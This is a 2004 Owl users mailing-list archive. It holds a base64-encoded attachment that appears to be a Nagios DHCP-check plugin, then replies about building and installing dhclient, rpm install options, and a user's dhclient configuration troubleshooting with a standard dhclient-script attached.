ZF9yZXF1ZXN0ZWRfYWRkcmVzcz1UUlVFOw0KDQoJCQkJLyogc2VlIGlmIHRo
ZSBzZXJ2ZXJzIHdlIHdhbnRlZCBhIHJlc3BvbnNlIGZyb20gdGFsa2VkIHRv
IHVzIG9yIG5vdCAqLw0KCQkJCWlmKCFtZW1jbXAoJnRlbXBfb2ZmZXItPnNl
cnZlcl9hZGRyZXNzLCZ0ZW1wX3NlcnZlci0+c2VydmVyX2FkZHJlc3Msc2l6
ZW9mKHRlbXBfc2VydmVyLT5zZXJ2ZXJfYWRkcmVzcykpKXsNCiNpZmRlZiBE
RUJVRw0KCQkJCQlwcmludGYoIkRIQ1AgU2VydmVyIE1hdGNoOiBPZmZlcmVy
PSVzIixpbmV0X250b2EodGVtcF9vZmZlci0+c2VydmVyX2FkZHJlc3MpKTsN
CgkJCQkJcHJpbnRmKCIgUmVxdWVzdGVkPSVzXG4iLGluZXRfbnRvYSh0ZW1w
X3NlcnZlci0+c2VydmVyX2FkZHJlc3MpKTsNCiNlbmRpZgkJCQkgICAgICAg
DQoJCQkJCXJlcXVlc3RlZF9yZXNwb25zZXMrKzsNCgkJCQkgICAgICAgIH0N
CgkJICAgICAgICAgICAgICAgIH0NCgkJICAgICAgICB9DQoNCgkgICAgICAg
IH0NCg0KCS8qIGVsc2UgY2hlY2sgYW5kIHNlZSBpZiB3ZSBnb3Qgb3VyIHJl
cXVlc3RlZCBhZGRyZXNzIGZyb20gYW55IHNlcnZlciAqLw0KCWVsc2V7DQoN
CgkJZm9yKHRlbXBfb2ZmZXI9ZGhjcF9vZmZlcl9saXN0O3RlbXBfb2ZmZXIh
PU5VTEw7dGVtcF9vZmZlcj10ZW1wX29mZmVyLT5uZXh0KXsNCg0KCQkJLyog
Z2V0IG1heCBsZWFzZSB0aW1lIHdlIHdlcmUgb2ZmZXJlZCAqLw0KCQkJaWYo
dGVtcF9vZmZlci0+bGVhc2VfdGltZT5tYXhfbGVhc2VfdGltZSB8fCB0ZW1w
X29mZmVyLT5sZWFzZV90aW1lPT1ESENQX0lORklOSVRFX1RJTUUpDQoJCQkJ
bWF4X2xlYXNlX3RpbWU9dGVtcF9vZmZlci0+bGVhc2VfdGltZTsNCgkJCQkN
CgkJCS8qIHNlZSBpZiB3ZSBnb3QgdGhlIGFkZHJlc3Mgd2UgcmVxdWVzdGVk
ICovDQoJCQlpZighbWVtY21wKCZyZXF1ZXN0ZWRfYWRkcmVzcywmdGVtcF9v
ZmZlci0+b2ZmZXJlZF9hZGRyZXNzLHNpemVvZihyZXF1ZXN0ZWRfYWRkcmVz
cykpKQ0KCQkJCXJlY2VpdmVkX3JlcXVlc3RlZF9hZGRyZXNzPVRSVUU7DQoJ
ICAgICAgICAgICAgICAgIH0NCgkgICAgICAgIH0NCg0KCXJlc3VsdD1TVEFU
RV9PSzsNCglpZih2YWxpZF9yZXNwb25zZXM9PTApDQoJCXJlc3VsdD1TVEFU
RV9DUklUSUNBTDsNCgllbHNlIGlmKHJlcXVlc3RlZF9zZXJ2ZXJzPjAgJiYg
cmVxdWVzdGVkX3Jlc3BvbnNlcz09MCkNCgkJcmVzdWx0PVNUQVRFX0NSSVRJ
Q0FMOw0KCWVsc2UgaWYocmVxdWVzdGVkX3Jlc3BvbnNlczxyZXF1ZXN0ZWRf
c2VydmVycykNCgkJcmVzdWx0PVNUQVRFX1dBUk5JTkc7DQoJZWxzZSBpZihy
ZXF1ZXN0X3NwZWNpZmljX2FkZHJlc3M9PVRSVUUgJiYgcmVjZWl2ZWRfcmVx
dWVzdGVkX2FkZHJlc3M9PUZBTFNFKQ0KCQlyZXN1bHQ9U1RBVEVfV0FSTklO
RzsNCg0KDQoJcHJpbnRmKCJESENQICVzOiAiLChyZXN1bHQ9PVNUQVRFX09L
KT8ib2siOiJwcm9ibGVtIik7DQoNCgkvKiB3ZSBkaWRuJ3QgcmVjZWl2ZSBh
bnkgREhDUE9GRkVScyAqLw0KCWlmKGRoY3Bfb2ZmZXJfbGlzdD09TlVMTCl7
DQoJCXByaW50ZigiTm8gREhDUE9GRkVScyB3ZXJlIHJlY2VpdmVkLlxuIik7
DQoJCXJldHVybiByZXN1bHQ7DQoJICAgICAgICB9DQoNCglwcmludGYoIlJl
Y2VpdmVkICVkIERIQ1BPRkZFUihzKSIsdmFsaWRfcmVzcG9uc2VzKTsNCg0K
CWlmKHJlcXVlc3RlZF9zZXJ2ZXJzPjApDQoJCXByaW50ZigiLCAlcyVkIG9m
ICVkIHJlcXVlc3RlZCBzZXJ2ZXJzIHJlc3BvbmRlZCIsKChyZXF1ZXN0ZWRf
cmVzcG9uc2VzPHJlcXVlc3RlZF9zZXJ2ZXJzKSAmJiByZXF1ZXN0ZWRfcmVz
cG9uc2VzPjApPyJvbmx5ICI6IiIscmVxdWVzdGVkX3Jlc3BvbnNlcyxyZXF1
ZXN0ZWRfc2VydmVycyk7DQoNCglpZihyZXF1ZXN0X3NwZWNpZmljX2FkZHJl
c3M9PVRSVUUpDQoJCXByaW50ZigiLCByZXF1ZXN0ZWQgYWRkcmVzcyAoJXMp
IHdhcyAlc29mZmVyZWQiLGluZXRfbnRvYShyZXF1ZXN0ZWRfYWRkcmVzcyks
KHJlY2VpdmVkX3JlcXVlc3RlZF9hZGRyZXNzPT1UUlVFKT8iIjoibm90ICIp
Ow0KDQoJcHJpbnRmKCIsIG1heCBsZWFzZSB0aW1lID0gIik7DQoJaWYobWF4
X2xlYXNlX3RpbWU9PURIQ1BfSU5GSU5JVEVfVElNRSkNCgkJcHJpbnRmKCJJ
bmZpbml0eSIpOw0KCWVsc2UNCgkJcHJpbnRmKCIlbHUgc2VjIiwodW5zaWdu
ZWQgbG9uZyltYXhfbGVhc2VfdGltZSk7DQoNCglwcmludGYoIi5cbiIpOw0K
DQoJcmV0dXJuIHJlc3VsdDsNCiAgICAgICAgfQ0KDQoNCg0KDQoNCg0KLyog
cHJpbnQgdXNhZ2UgaGVscCAqLw0Kdm9pZCBwcmludF9oZWxwKHZvaWQpew0K
DQoJLypwcmludF9yZXZpc2lvbihwcm9nbmFtZSwiJFJldmlzaW9uOiAxLjQg
JCIpOyovDQoNCglwcmludGYoIkNvcHlyaWdodCAoYykgMjAwMS0yMDAyIEV0
aGFuIEdhbHN0YWQgKG5hZ2lvc0BuYWdpb3Mub3JnKVxuXG4iKTsNCglwcmlu
dGYoIlRoaXMgcGx1Z2luIHRlc3RzIHRoZSBhdmFpbGFiaWxpdHkgb2YgREhD
UCBzZXJ2ZXJzIG9uIGEgbmV0d29yay5cblxuIik7DQoNCglwcmludF91c2Fn
ZSgpOw0KDQoJcHJpbnRmDQoJCSgiXG5PcHRpb25zOlxuIg0KCQkgIiAtcywg
LS1zZXJ2ZXJpcD1JUEFERFJFU1NcbiINCgkJICIgICBJUCBhZGRyZXNzIG9m
IERIQ1Agc2VydmVyIHRoYXQgd2UgbXVzdCBoZWFyIGZyb21cbiINCgkJICIg
LXIsIC0tcmVxdWVzdGVkaXA9SVBBRERSRVNTXG4iDQoJCSAiICAgSVAgYWRk
cmVzcyB0aGF0IHNob3VsZCBiZSBvZmZlcmVkIGJ5IGF0IGxlYXN0IG9uZSBE
SENQIHNlcnZlclxuIg0KCQkgIiAtdCwgLS10aW1lb3V0PUlOVEVHRVJcbiIN
CgkJICIgICBTZWNvbmRzIHRvIHdhaXQgZm9yIERIQ1BPRkZFUiBiZWZvcmUg
dGltZW91dCBvY2N1cnNcbiINCgkJICIgLWksIC0taW50ZXJmYWNlPVNUUklO
R1xuIg0KCQkgIiAgIEludGVyZmFjZSB0byB0byB1c2UgZm9yIGxpc3Rlbmlu
ZyAoaS5lLiBldGgwKVxuIg0KCQkgIiAtdiwgLS12ZXJib3NlXG4iDQoJCSAi
ICAgUHJpbnQgZXh0cmEgaW5mb3JtYXRpb24gKGNvbW1hbmQtbGluZSB1c2Ug
b25seSlcbiINCgkJICIgLWgsIC0taGVscFxuIg0KCQkgIiAgIFByaW50IGRl
dGFpbGVkIGhlbHAgc2NyZWVuXG4iDQoJCSAiIC1WLCAtLXZlcnNpb25cbiIN
CgkJICIgICBQcmludCB2ZXJzaW9uIGluZm9ybWF0aW9uXG5cbiINCgkJICk7
DQoNCgkvKnN1cHBvcnQoKTsqLw0KDQoJcmV0dXJuOw0KICAgICAgICB9DQoN
Cg0KLyogcHJpbnRzIHVzYWdlIGluZm9ybWF0aW9uICovDQp2b2lkIHByaW50
X3VzYWdlKHZvaWQpew0KDQoJcHJpbnRmKCJVc2FnZTogJXMgWy1zIHNlcnZl
cmlwXSBbLXIgcmVxdWVzdGVkaXBdIFstdCB0aW1lb3V0XSBbLWkgaW50ZXJm
YWNlXVxuIixwcm9nbmFtZSk7DQoJcHJpbnRmKCIgICAgICAgJXMgLS1oZWxw
XG4iLHByb2duYW1lKTsNCglwcmludGYoIiAgICAgICAlcyAtLXZlcnNpb25c
biIscHJvZ25hbWUpOw0KDQoJcmV0dXJuOw0KICAgICAgICB9DQoNCg0KDQoN
Ci8qIHByb2Nlc3MgY29tbWFuZC1saW5lIGFyZ3VtZW50cyAqLw0KaW50IHBy
b2Nlc3NfYXJndW1lbnRzKGludCBhcmdjLCBjaGFyICoqYXJndil7DQoJaW50
IGM7DQoNCglpZihhcmdjPDEpDQoJCXJldHVybiBFUlJPUjsNCg0KCWM9MDsN
Cgl3aGlsZSgoYys9KGNhbGxfZ2V0b3B0KGFyZ2MtYywmYXJndltjXSkpKTxh
cmdjKXsNCg0KCQkvKg0KCQlpZihpc19vcHRpb24oYXJndltjXSkpDQoJCQlj
b250aW51ZTsNCgkJKi8NCgkJfQ0KDQoJcmV0dXJuIHZhbGlkYXRlX2FyZ3Vt
ZW50cygpOw0KICAgICAgICB9DQoNCg0KDQppbnQgY2FsbF9nZXRvcHQoaW50
IGFyZ2MsIGNoYXIgKiphcmd2KXsNCglpbnQgYz0wOw0KCWludCBpPTA7DQoJ
c3RydWN0IGluX2FkZHIgaXBhZGRyZXNzOw0KDQojaWZkZWYgSEFWRV9HRVRP
UFRfSA0KCWludCBvcHRpb25faW5kZXggPSAwOw0KCXN0YXRpYyBzdHJ1Y3Qg
b3B0aW9uIGxvbmdfb3B0aW9uc1tdID0NCgl7IA0KCQl7InNlcnZlcmlwIiwg
ICAgICAgcmVxdWlyZWRfYXJndW1lbnQsMCwncyd9LA0KCQl7InJlcXVlc3Rl
ZGlwIiwgICAgcmVxdWlyZWRfYXJndW1lbnQsMCwncid9LA0KCQl7InRpbWVv
dXQiLCAgICAgICAgcmVxdWlyZWRfYXJndW1lbnQsMCwndCd9LA0KCQl7Imlu
dGVyZmFjZSIsICAgICAgcmVxdWlyZWRfYXJndW1lbnQsMCwnaSd9LA0KCQl7
InZlcmJvc2UiLCAgICAgICAgbm9fYXJndW1lbnQsICAgICAgMCwndid9LA0K
CQl7InZlcnNpb24iLCAgICAgICAgbm9fYXJndW1lbnQsICAgICAgMCwnVid9
LA0KCQl7ImhlbHAiLCAgICAgICAgICAgbm9fYXJndW1lbnQsICAgICAgMCwn
aCd9LA0KCQl7MCwwLDAsMH0NCgl9Ow0KI2VuZGlmDQoNCgl3aGlsZSgxKXsN
CiNpZmRlZiBIQVZFX0dFVE9QVF9IDQoJCWM9Z2V0b3B0X2xvbmcoYXJnYyxh
cmd2LCIraFZ2dDpzOnI6dDppOiIsbG9uZ19vcHRpb25zLCZvcHRpb25faW5k
ZXgpOw0KI2Vsc2UNCgkJYz1nZXRvcHQoYXJnYyxhcmd2LCIrP2hWdnQ6czpy
OnQ6aToiKTsNCiNlbmRpZg0KDQoJCWkrKzsNCg0KCQlpZihjPT0tMXx8Yz09
RU9GfHxjPT0xKQ0KCQkJYnJlYWs7DQoNCgkJc3dpdGNoKGMpew0KCQljYXNl
ICd3JzoNCgkJY2FzZSAncic6DQoJCWNhc2UgJ3QnOg0KCQljYXNlICdpJzoN
CgkJCWkrKzsNCgkJCWJyZWFrOw0KCQlkZWZhdWx0Og0KCQkJYnJlYWs7DQoJ
CSAgICAgICAgfQ0KDQoJCXN3aXRjaChjKXsNCg0KCQljYXNlICdzJzogLyog
REhDUCBzZXJ2ZXIgYWRkcmVzcyAqLw0KCQkJaWYoaW5ldF9hdG9uKG9wdGFy
ZywmaXBhZGRyZXNzKSkNCgkJCQlhZGRfcmVxdWVzdGVkX3NlcnZlcihpcGFk
ZHJlc3MpOw0KCQkJLyoNCgkJCWVsc2UNCgkJCQl1c2FnZSgiSW52YWxpZCBz
ZXJ2ZXIgSVAgYWRkcmVzc1xuIik7DQoJCQkqLw0KCQkJYnJlYWs7DQoNCgkJ
Y2FzZSAncic6IC8qIGFkZHJlc3Mgd2UgYXJlIHJlcXVlc3RlZCBmcm9tIERI
Q1Agc2VydmVycyAqLw0KCQkJaWYoaW5ldF9hdG9uKG9wdGFyZywmaXBhZGRy
ZXNzKSl7DQoJCQkJcmVxdWVzdGVkX2FkZHJlc3M9aXBhZGRyZXNzOw0KCQkJ
CXJlcXVlc3Rfc3BlY2lmaWNfYWRkcmVzcz1UUlVFOw0KCQkJICAgICAgICB9
DQoJCQkvKg0KCQkJZWxzZQ0KCQkJCXVzYWdlKCJJbnZhbGlkIHJlcXVlc3Rl
ZCBJUCBhZGRyZXNzXG4iKTsNCgkJCSovDQoJCQlicmVhazsNCg0KCQljYXNl
ICd0JzogLyogdGltZW91dCAqLw0KDQoJCQkvKg0KCQkJaWYoaXNfaW50bm9u
bmVnKG9wdGFyZykpDQoJCQkqLw0KCQkJaWYoYXRvaShvcHRhcmcpPjApDQoJ
CQkJZGhjcG9mZmVyX3RpbWVvdXQ9YXRvaShvcHRhcmcpOw0KCQkJLyoNCgkJ
CWVsc2UNCgkJCQl1c2FnZSgiVGltZSBpbnRlcnZhbCBtdXN0IGJlIGEgbm9u
bmVnYXRpdmUgaW50ZWdlclxuIik7DQoJCQkqLw0KCQkJYnJlYWs7DQoNCgkJ
Y2FzZSAnaSc6IC8qIGludGVyZmFjZSBuYW1lICovDQoNCgkJCXN0cm5jcHko
bmV0d29ya19pbnRlcmZhY2VfbmFtZSxvcHRhcmcsc2l6ZW9mKG5ldHdvcmtf
aW50ZXJmYWNlX25hbWUpLTEpOw0KCQkJbmV0d29ya19pbnRlcmZhY2VfbmFt
ZVtzaXplb2YobmV0d29ya19pbnRlcmZhY2VfbmFtZSktMV09J1x4MCc7DQoN
CgkJCWJyZWFrOw0KDQoJCWNhc2UgJ1YnOiAvKiB2ZXJzaW9uICovDQoNCgkJ
CS8qcHJpbnRfcmV2aXNpb24ocHJvZ25hbWUsIiRSZXZpc2lvbjogMS40ICQi
KTsqLw0KCQkJZXhpdChTVEFURV9PSyk7DQoNCgkJY2FzZSAnaCc6IC8qIGhl
bHAgKi8NCg0KCQkJcHJpbnRfaGVscCgpOw0KCQkJZXhpdChTVEFURV9PSyk7
DQoNCgkJY2FzZSAnPyc6IC8qIGhlbHAgKi8NCg0KCQkJLyp1c2FnZSgiSW52
YWxpZCBhcmd1bWVudFxuIik7Ki8NCgkJCWJyZWFrOw0KDQoJCWRlZmF1bHQ6
DQoJCQlicmVhazsNCgkJICAgICAgICB9DQoJICAgICAgICB9DQoNCglyZXR1
cm4gaTsNCiAgICAgICAgfQ0KDQoNCg0KaW50IHZhbGlkYXRlX2FyZ3VtZW50
cyh2b2lkKXsNCg0KCXJldHVybiBPSzsNCiAgICAgICAgfQ0KDQo=

---690695424-1884145763-1075913385=:606--
Return-Path: <owl-users-return-380-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14H67v12898
	for <jwa@private>; Wed, 4 Feb 2004 09:06:07 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 10152EE
	for <jwa@private>; Wed,  4 Feb 2004 09:06:05 -0800 (PST)
Received: (qmail 4640 invoked by uid 1011); 4 Feb 2004 17:02:21 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 4632 invoked from network); 4 Feb 2004 17:02:21 -0000
Date: Wed, 4 Feb 2004 18:00:45 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: dhcp client
In-Reply-To: <001401c3eb3a$64d6b8d0$0100a8c0@grotedoos>
Message-ID: <Pine.LNX.4.58.0402041753290.611@private>
References: <s020b409.018@private> <001401c3eb3a$64d6b8d0$0100a8c0@grotedoos>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-380-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.8 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_PINE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

I don't think that's a very good solution, considering system process
pseudo-users should have /bin/false as their shell.
If any of those pseudo-users need to run a shell command, execution would
fail. If the check is only performed when an interactive shell is spawned
it might be useful, but then it could be bypassed by 'unexpected' actions
(which is what to expect from script kiddies).

Mvh / Best Regards
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
andreas.ericsson@private

On Wed, 4 Feb 2004, Berend-Jan Wever wrote:
>
> PS. I modified my "/bin/sh" to only run when the user executing it doesn't
> have "/bin/false" as shell in "/etc/passwd". It's a lame security trick
> that's easily bypassed, but it does keep the script kiddies out. Maybe it's
> something Owl could use ?
>
Return-Path: <owl-users-return-381-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14N3nv30991
	for <jwa@private>; Wed, 4 Feb 2004 15:03:49 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 22EEDEE
	for <jwa@private>; Wed,  4 Feb 2004 15:03:42 -0800 (PST)
Received: (qmail 28163 invoked by uid 1011); 4 Feb 2004 23:03:13 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Delivered-To: moderator for owl-users@private
Received: (qmail 18083 invoked from network); 4 Feb 2004 16:01:38 -0000
Date: Wed, 4 Feb 2004 17:01:31 +0100
From: Matthias Schmidt <xhr@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040204160131.GA568@private>
Mail-Followup-To: owl-users@private
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <000901c3eb29$e748a4b0$0100a8c0@grotedoos>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <000901c3eb29$e748a4b0$0100a8c0@grotedoos>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-381-jwa=jammed.com@private
X-Spam-Status: No, hits=-32.9 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

* Berend-Jan Wever wrote:
> - Is that "make buildworld" or can I simply make the dhclient by itself ?
>   (if so, what's the command to build one single package like dhcp ?)

You can build the dhcp package for itself. Just type "make PACKAGE=dhcp"
(have a look at Owl/doc/BUILD).

> - Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
>   or does it create rpms to be installed with "make installworld" ?
>   or are they put in one dir, to be copied to more usefull dirs manually ?
>   (I couldn't really find that out by looking at the Makefile and scripts.)

"make buildworld" creates a rpm package. You can install the package
directly via rpm or "make installworld".

Greets

-- 
Matthias Schmidt
Return-Path: <owl-users-return-382-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14NJdv31537
	for <jwa@private>; Wed, 4 Feb 2004 15:19:39 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 2865070
	for <jwa@private>; Wed,  4 Feb 2004 15:19:34 -0800 (PST)
Received: (qmail 30434 invoked by uid 1011); 4 Feb 2004 23:19:15 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 30401 invoked from network); 4 Feb 2004 23:19:12 -0000
Date: Thu, 5 Feb 2004 02:04:27 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040204230427.GA25073@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <000901c3eb29$e748a4b0$0100a8c0@grotedoos> <kaizo-sendmail-010402041419070.15055@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <kaizo-sendmail-010402041419070.15055@private>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-382-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Feb 04, 2004 at 02:22:20PM +0000, Simon B wrote:
> # rpm -ivh RPMS/dhcp*

You shouldn't use the "-i" option to "rpm" unless you know what you're
doing, which I think you don't. ;-)  In fact, I used to not know it
when we were just starting with Owl in 2000.  Perhaps this option should
be made to print out a big warning and require a --force-install or
something...

Use -Uvh or -Fvh instead.  Please note that "-U" is capable of
installing a new package just fine, only without the dangers of "-i"
(which lets you install multiple versions of the same package at
once, -- something you do not want normally).

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-383-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i150r3v04066
	for <jwa@private>; Wed, 4 Feb 2004 16:53:03 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 18D7070
	for <jwa@private>; Wed,  4 Feb 2004 16:52:53 -0800 (PST)
Received: (qmail 8887 invoked by uid 1011); 5 Feb 2004 00:52:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 8879 invoked from network); 5 Feb 2004 00:52:26 -0000
Message-ID: <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
Subject: Re: dhcp client
Date: Thu, 5 Feb 2004 01:57:12 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0020_01C3EB8B.5F671B00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-383-jwa=jammed.com@private
X-Spam-Status: No, hits=-12.9 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

This is a multi-part message in MIME format.

------=_NextPart_000_0020_01C3EB8B.5F671B00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Ok, I've build my dhclient. But I'm just running into more and more
problems, I hope you can help me out, but this might be getting more of a
dhcp problem then an owl problem now...

problem 1: dhclient seems to require a "/etc/dhclient-script", which was
missing (shouldn't a default version have been installed with the rpm ?).
My solution: I found the attached file on the internet and used that.
problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which was
also missing.
My solution: I've constructed something from man-pages and googling for
information, also attached.

The system I'm building is going to have to ethernet cards installed:
- eth0: DHCP
- eth1: 192.168.0.16 netmask 255.255.255.0
So I edited /etc/sysconfig/network-scripts/ifcfg-eth0 and -eth1.
-- /etc/sysconfig/network-scripts/ifcfg-eth0:
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes
TYPE=Ethernet
-- EOF
problem 3: when "ifup" gets run to get eth0 up, it tries to use "/sbin/pump"
instead of "/sbin/dhclient" for DHCP. (This must be an old script or
something !?)
My solution: I edited ifup, added a small part for "BOOTPROTO=dhclient"
which would do
-- /etc/sysconfig/network-scripts/ifup:
  -- *SNIP* -- 
    echo -n "Requesting DHCP information for $DEVICE..."
    if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE ; then
        echo " done."
    else
        echo " failed."
        ifconfig $DEVICE down
        exit 1
    fi
  -- *SNIP* --
problem 4: dhclient won't work. It gives "/sbin/dhclient-script:
configuration for eth0 not found." error messages and it just seems to keep
on DHCPDISCOVERing forever without accepting a DHCPOFFER.

-- *SNIP* --
root@babydoos:~# dhclient eth0
Internet Software Consortium DHCP Client V3.0pl2
Copyright 1995-2001 Internet Software Consortium.
All rights reserved.
For info, please visit http://www.isc.org/products/DHCP

/sbin/dhclient-script: configuration for eth0 not found.
Listening on LPF/eth0/52:54:05:f3:d6:98
Sending on   LPF/eth0/52:54:05:f3:d6:98
Sending on   Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
DHCPOFFER from 172.20.72.3
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 172.20.72.3
/sbin/dhclient-script: configuration for eth0 not found.
DHCPDECLINE on eth0 to 255.255.255.255 port 67
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
DHCPOFFER from 172.20.72.3
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 172.20.72.3
-- *SNIP* --

Anyway, I hope somebody has the time and knowledge to help me out with all
this, thanks in advance!

Cheers,

SkyLined

------=_NextPart_000_0020_01C3EB8B.5F671B00
Content-Type: application/octet-stream;
	name="dhclient-script"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="dhclient-script"

#!/bin/sh
# dhclient-script for Linux. Dan Halbert, March, 1997.
# Updated for Linux 2.[12] by Brian J. Murrell, January 1999.
# No guarantees about this. I'm a novice at the details of Linux
# networking.

# Notes:

# 0. This script is based on the netbsd script supplied with =
dhcp-970306.

# 1. ifconfig down apparently deletes all relevant routes and flushes
# the arp cache, so this doesn't need to be done explicitly.

# 2. The alias address handling here has not been tested AT ALL.
# I'm just going by the doc of modern Linux ip aliasing, which uses
# notations like eth0:0, eth0:1, for each alias.

# 3. I have to calculate the network address, and calculate the =
broadcast
# address if it is not supplied. This might be much more easily done
# by the dhclient C code, and passed on.

# 4. TIMEOUT not tested. ping has a flag I don't know, and I'm =
suspicious
# of the $1 in its args.

function make_resolv_conf() {
  if [ "x$new_domain_name" !=3D x ] && [ x"$new_domain_name_servers" =
!=3D x ]; then
    echo search $new_domain_name >/etc/resolv.conf
    for nameserver in $new_domain_name_servers; do
      echo nameserver $nameserver >>/etc/resolv.conf
    done
  fi
}

# Must be used on exit.   Invokes the local dhcp client exit hooks, if =
any.
function exit_with_hooks() {
  exit_status=3D$1
  if [ -f /etc/dhclient-exit-hooks ]; then
    . /etc/dhclient-exit-hooks
  fi
# probably should do something with exit status of the local script
  exit $exit_status
}

# Invoke the local dhcp client enter hooks, if they exist.
if [ -f /etc/dhclient-enter-hooks ]; then
  exit_status=3D0
  . /etc/dhclient-enter-hooks
  # allow the local script to abort processing of this state
  # local script must set exit_status variable to nonzero.
  if [ $exit_status -ne 0 ]; then
    exit $exit_status
  fi
fi

release=3D`uname -r`
release=3D`expr $release : '\(.*\)\..*'`
relminor=3D`echo $release |sed -e =
's/[0-9]*\.\([0-9][0-9]*\)\(\..*\)*$/\1/'`
relmajor=3D`echo $release |sed -e 's/\([0-9][0-9]*\)\..*$/\1/'`

if [ x$new_broadcast_address !=3D x ]; then
  new_broadcast_arg=3D"broadcast $new_broadcast_address"
fi
if [ x$old_broadcast_address !=3D x ]; then
  old_broadcast_arg=3D"broadcast $old_broadcast_address"
fi
if [ x$new_subnet_mask !=3D x ]; then
  new_subnet_arg=3D"netmask $new_subnet_mask"
fi
